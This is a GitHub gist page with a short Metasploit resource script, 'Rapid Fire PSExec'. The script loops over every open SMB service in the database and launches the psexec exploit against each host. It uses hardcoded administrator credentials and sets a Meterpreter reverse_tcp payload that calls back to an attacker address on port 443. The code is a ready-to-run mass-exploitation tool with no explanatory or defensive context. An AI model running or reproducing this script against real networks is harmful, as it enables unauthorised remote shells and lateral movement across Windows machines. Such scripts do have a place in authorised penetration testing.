Rapid Fire PSExec resource script uses service name instead of port number
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<ruby> | |
hosts = [] | |
begin | |
framework.db.services.each do |service| | |
if ( service.name =~ /smb/i and service.state == 'open' and service.proto == 'tcp') | |
hosts << {'ip' => service.host.address} | |
end | |
end | |
end | |
self.run_single("set DisablePayloadHandler true") | |
hosts.each do |rhost| | |
self.run_single("set RHOST #{rhost['ip']}") | |
self.run_single('use exploit/windows/smb/psexec') | |
self.run_single('set PAYLOAD windows/meterpreter/reverse_tcp') | |
self.run_single('set LHOST 172.16.100.115') | |
self.run_single('set LPORT 443') | |
self.run_single('set DisablePayloadHandler TRUE') | |
self.run_single('set SMBUSER administrator') | |
self.run_single('set SMBPASS leetpassword') | |
self.run_single('exploit -j') | |
sleep 1 | |
end | |
</ruby> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment